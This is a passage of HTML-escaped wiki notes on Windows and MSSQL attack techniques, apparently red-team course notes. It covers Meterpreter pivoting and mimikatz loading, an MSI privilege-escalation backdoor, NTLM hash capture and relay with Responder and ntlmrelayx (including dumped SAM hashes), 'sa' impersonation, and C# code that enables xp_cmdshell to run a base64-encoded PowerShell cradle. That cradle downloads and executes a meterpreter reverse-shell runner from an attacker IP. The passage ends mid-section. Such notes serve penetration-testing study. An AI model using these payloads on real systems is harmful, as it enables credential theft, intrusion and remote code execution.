[https://www.hackers-arise.com/post/2018/11/26/metasploit-basics-part-21-post-exploitation-with-mimikatz Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load kiwi&amp;lt;/code&amp;gt; - Load Mimikatz in current process&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load incognito&amp;lt;/code&amp;gt; - Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_import PowerUp.ps1&amp;lt;/code&amp;gt; &amp;lt;-- from our local working dir.&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_execute &amp;quot;Invoke-AllChecks&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter pivoting and Proxychains ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Portforward ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.offsec.com/metasploit-unleashed/portfwd/&lt;br /&gt;
# Add&lt;br /&gt;
# From the Meterpreter shell, the command is used in the following manner:&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r  [target host]&lt;br /&gt;
# add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.&lt;br /&gt;
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.&lt;br /&gt;
-p 3389 is the destination port on our targeting host.&lt;br /&gt;
-r [target host] is the our targeted system’s IP or hostname.&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Local TCP relay created: 0.0.0.0:3389 &amp;gt;-&amp;gt; 172.16.194.191:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
Figure 2 Adding a port&lt;br /&gt;
# Delete&lt;br /&gt;
## Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following:&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r [target host]&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Successfully stopped TCP relay on 0.0.0.0:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
# FLUSH: This argument will allow us to remove all the local port forward at once.&lt;br /&gt;
meterpreter &amp;gt; portfwd flush&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSI Backdoor ==&lt;br /&gt;
&lt;br /&gt;
If AlwaysInstalledElevated is set to one, you can elevate your privileges by backdooring an MSI installer.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
Download exemsi --&amp;gt; https://www.exemsi.com/download/&lt;br /&gt;
# Follow the guide fom hacktrics.&lt;br /&gt;
&lt;br /&gt;
------------------&lt;br /&gt;
# If you have a meterpreter session&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Good source ===&lt;br /&gt;
&lt;br /&gt;
[https://notes.vulndev.io/wiki/redteam/payloads/windows/mssql MSSQL - Notes (vulndev.io)]&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Attacks ===&lt;br /&gt;
&lt;br /&gt;
==== Enumeration ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract all accounts in use as SPN using built in MS tools&lt;br /&gt;
setspn -T corp1 -Q MSSQLSvc/*&lt;br /&gt;
# Use GetUserSPNs.ps1&lt;br /&gt;
https://github.com/nidem/kerberoast&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication using C# ====&lt;br /&gt;
&lt;br /&gt;
* This C# code is a simple program that connects to a SQL Server instance, checks if the connection is successful, and then retrieves and displays the current logged-in user. It also checks if the logged-in user is a member of the &#039;public&#039; server role and displays the result.&lt;br /&gt;
&lt;br /&gt;
* The term &amp;lt;code&amp;gt;Integrated Security = True;&amp;lt;/code&amp;gt; in a SQL Server connection string indicates that the connection should use Windows Authentication rather than SQL Server Authentication.&lt;br /&gt;
&lt;br /&gt;
* It&#039;s considered more secure than SQL Server Authentication because it uses the underlying Windows account mechanisms, including password policies, Kerberos, and NTLM.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String querylogin = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(querylogin, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Console.WriteLine(&amp;quot;Logged in as: &amp;quot; + reader[0]);&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check public role&lt;br /&gt;
            String querypublicrole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;public&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querypublicrole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 rolePublic = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (rolePublic == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check sysadmin role&lt;br /&gt;
            String querySysAdminRole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;sysadmin&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querySysAdminRole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 roleSysAdmin = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (roleSysAdmin == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== UNC Path Injection ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Attack Premise&#039;&#039;&#039;: Capture the hash of the user account under which the SQL server runs by making it connect to an SMB share.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# xp_dirtree SQL Procedure&lt;br /&gt;
#	• Function: Lists all files in a given folder.&lt;br /&gt;
#	• Special Feature: Can accept an SMB share as a target.&lt;br /&gt;
EXEC master..xp_dirtree &amp;quot;\\192.168.119.120\\test&amp;quot;;&lt;br /&gt;
# Responder Tool&lt;br /&gt;
#	• Function: Sets up an SMB share initiating NTLM authentication.&lt;br /&gt;
sudo responder -I tun0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will authenticate to the SQL server and execute the xp_dirtree procedure. Remember to start &amp;lt;code&amp;gt;responder&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Once the NET-NTLM hash is captured, you can use &amp;lt;code&amp;gt;hashcat&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;hashcat -m 5600 hash.txt dict.txt --force&amp;lt;/code&amp;gt;) or &amp;lt;code&amp;gt;john&amp;lt;/code&amp;gt; to crack it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC master..xp_dirtree \&amp;quot;\\\\192.168.119.120\\\\test\&amp;quot;;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:8ZPa5+qasCAAAAABJRU5ErkJggg==|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Relay the hash ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
Achieve code execution on the SQL server OS without needing to crack the captured Net-NTLM hash.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Net-NTLM hash&#039;&#039;&#039;: While it can&#039;t be used directly in a pass-the-hash attack, it can be relayed to another computer. If the user is a local administrator on the target, this can lead to code execution.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Microsoft&#039;s Security Measure&#039;&#039;&#039;: Since 2008, Microsoft has blocked the ability to relay a Net-NTLM hash back to the origin computer using the same protocol.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;SMB Signing&#039;&#039;&#039;: Relaying Net-NTLM against SMB is only possible if SMB signing is not enabled. By default, it&#039;s enabled only on domain controllers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Procedure&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Enumeration&#039;&#039;&#039;: Identified that the service account associated with the SQL server is used on both dc01 and appsrv01 and has local administrator rights on both.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First base64 encode the download cradle. This will download and invoke the run.txt. Run.txt is our shellcode runner. CTRL+F run.txt to find the code.&lt;br /&gt;
kali@kali:~$ sudo apt -y install powershell&lt;br /&gt;
kali@kali:~$ pwsh&lt;br /&gt;
PS /home/kali&amp;gt; $text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Launch ntlmrelayx. this command attempts to relay captured NTLM authentication requests to the machine at 192.168.120.6 over SMB (with SMBv2 support). If the relay is successful and the authentication on the target is accepted, the specified base64-encoded PowerShell command will be executed on the target machine.&lt;br /&gt;
# When the xp_dirtree command is run (see code above), it will authenticate to our ntlmrelayx and we will capture the hash as shown above.&lt;br /&gt;
# The -t option specifies the target to which the relayed authentication will be sent.&lt;br /&gt;
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c &#039;powershell -enc &#039;&lt;br /&gt;
[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.229.5, attacking target smb://192.168.229.6&lt;br /&gt;
[*] Authenticating against smb://192.168.229.6 as CORP1/SQLSVC SUCCEED&lt;br /&gt;
[*] SMBD-Thread-6 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-7.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== Dump hashes using NTLMrelayx.py =====&lt;br /&gt;
&lt;br /&gt;
* You can also get the hashes if the user authenticating have the rights&lt;br /&gt;
&lt;br /&gt;
* Remember to check links also. If you have two MSSQL servers, SQL01 and SQL02 which are linked. Check if you can relay the hash from SQL01 to SQL02 and get the local SAM database for example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
proxychains python3 ntlmrelayx.py --no-http-server -smb2support -t 192.168.1.25                                                1 ⚙&lt;br /&gt;
[proxychains] config file found: /etc/proxychains4.conf&lt;br /&gt;
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4&lt;br /&gt;
[proxychains] DLL init: proxychains-ng 4.16&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Protocol Client LDAPS loaded..&lt;br /&gt;
[*] Protocol Client LDAP loaded..&lt;br /&gt;
[*] Protocol Client HTTPS loaded..&lt;br /&gt;
[*] Protocol Client HTTP loaded..&lt;br /&gt;
[*] Protocol Client MSSQL loaded..&lt;br /&gt;
[*] Protocol Client SMTP loaded..&lt;br /&gt;
[*] Protocol Client IMAPS loaded..&lt;br /&gt;
[*] Protocol Client IMAP loaded..&lt;br /&gt;
[*] Protocol Client RPC loaded..&lt;br /&gt;
[*] Protocol Client SMB loaded..&lt;br /&gt;
[*] Protocol Client DCSYNC loaded..&lt;br /&gt;
[*] Running in relay mode to single host&lt;br /&gt;
[*] Setting up SMB Server&lt;br /&gt;
[*] Setting up WCF Server&lt;br /&gt;
[*] Setting up RAW Server on port 6666&lt;br /&gt;
[...]&lt;br /&gt;
controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
[*] Starting service RemoteRegistry&lt;br /&gt;
[*] Target system bootKey: 0xd9996db98e1caaaaabbvvfdfdeeerreew&lt;br /&gt;
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&lt;br /&gt;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3623e909efeda77786a000bc7176aeac:::&lt;br /&gt;
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cf24abb0dd2ff42591001e892d98d690:::&lt;br /&gt;
[*] Done dumping SAM hashes for host: 192.168.1.25&lt;br /&gt;
[*] Stopping service RemoteRegistry&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Escalation ===&lt;br /&gt;
&lt;br /&gt;
==== Escalation ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Achieve higher privileges within the SQL database by leveraging impersonation.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Sysadmin Role&#039;&#039;&#039;: Direct authentication with a user possessing the sysadmin role membership is the most straightforward method to secure elevated privileges. However, accessing such a user isn&#039;t always possible.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonation&#039;&#039;&#039;: This technique lets you execute SQL queries in the context of another login or user. Only users granted the explicit Impersonate permission can utilize this method. This permission is not set by default.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Impersonation at the User Level:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisites:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Our user must have been granted impersonation for another user with additional role memberships.&lt;br /&gt;
&lt;br /&gt;
* The database user we aim to impersonate should be in a database with the TRUSTWORTHY property enabled.&lt;br /&gt;
The &#039;&#039;database owner &#039;&#039;(dbo) usually have this syadmin role.&lt;br /&gt;
&lt;br /&gt;
The rid 500 user (ex: local administrator) is always added to DBA and can always impersonate SA.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // This will give us all the logins that allow impersonation.&lt;br /&gt;
                    string query = &amp;quot;SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = &#039;IMPERSONATE&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read() == true)&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Logins that can be impersonated: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Before impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    string executeAs = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;After impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    executeAs = &amp;quot;USE msdb; EXECUTE AS USER = &#039;dbo&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    query = &amp;quot;SELECT USER_NAME();&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Code Execution ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Leverage sysadmin role membership to execute code on the Windows server hosting the SQL database.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;xp_cmdshel&#039;&#039;&#039;l: A well-known stored procedure that spawns a Windows command shell and passes a string for execution. Disabled by default since SQL 2005 due to its potential for misuse.&lt;br /&gt;
&#039;&#039;&#039;Activation: &#039;&#039;&#039;Enable xp_cmdshell: [https://book.ghanim.no/?page_id=1809#xp_cmdshell CheatSheet I – Basic – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;sp_OACreate and sp_OAMethod:&#039;&#039;&#039; These stored procedures allow the creation and execution of a new procedure based on Object Linking and Embedding (OLE). They can be used to instantiate the Windows Script Host and execute commands.&lt;br /&gt;
&#039;&#039;&#039;Activation&#039;&#039;&#039;: Ensure the &amp;quot;OLE Automation Procedures&amp;quot; setting is enabled.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;RECONFIGURE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;xp_cmdshell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Enable and execute xp_cmdshell&lt;br /&gt;
                    String enable_xpcmd = &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE; EXEC sp_configure &#039;xp_cmdshell&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
                    String execCmdShell = &amp;quot;EXEC xp_cmdshell &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(enable_xpcmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    command = new SqlCommand(execCmdShell, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Result of xp_cmdshell: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;sp_OACreate and sp_OAMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
Same as above, just change these lines&lt;br /&gt;
 String enable_ole = &amp;quot;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
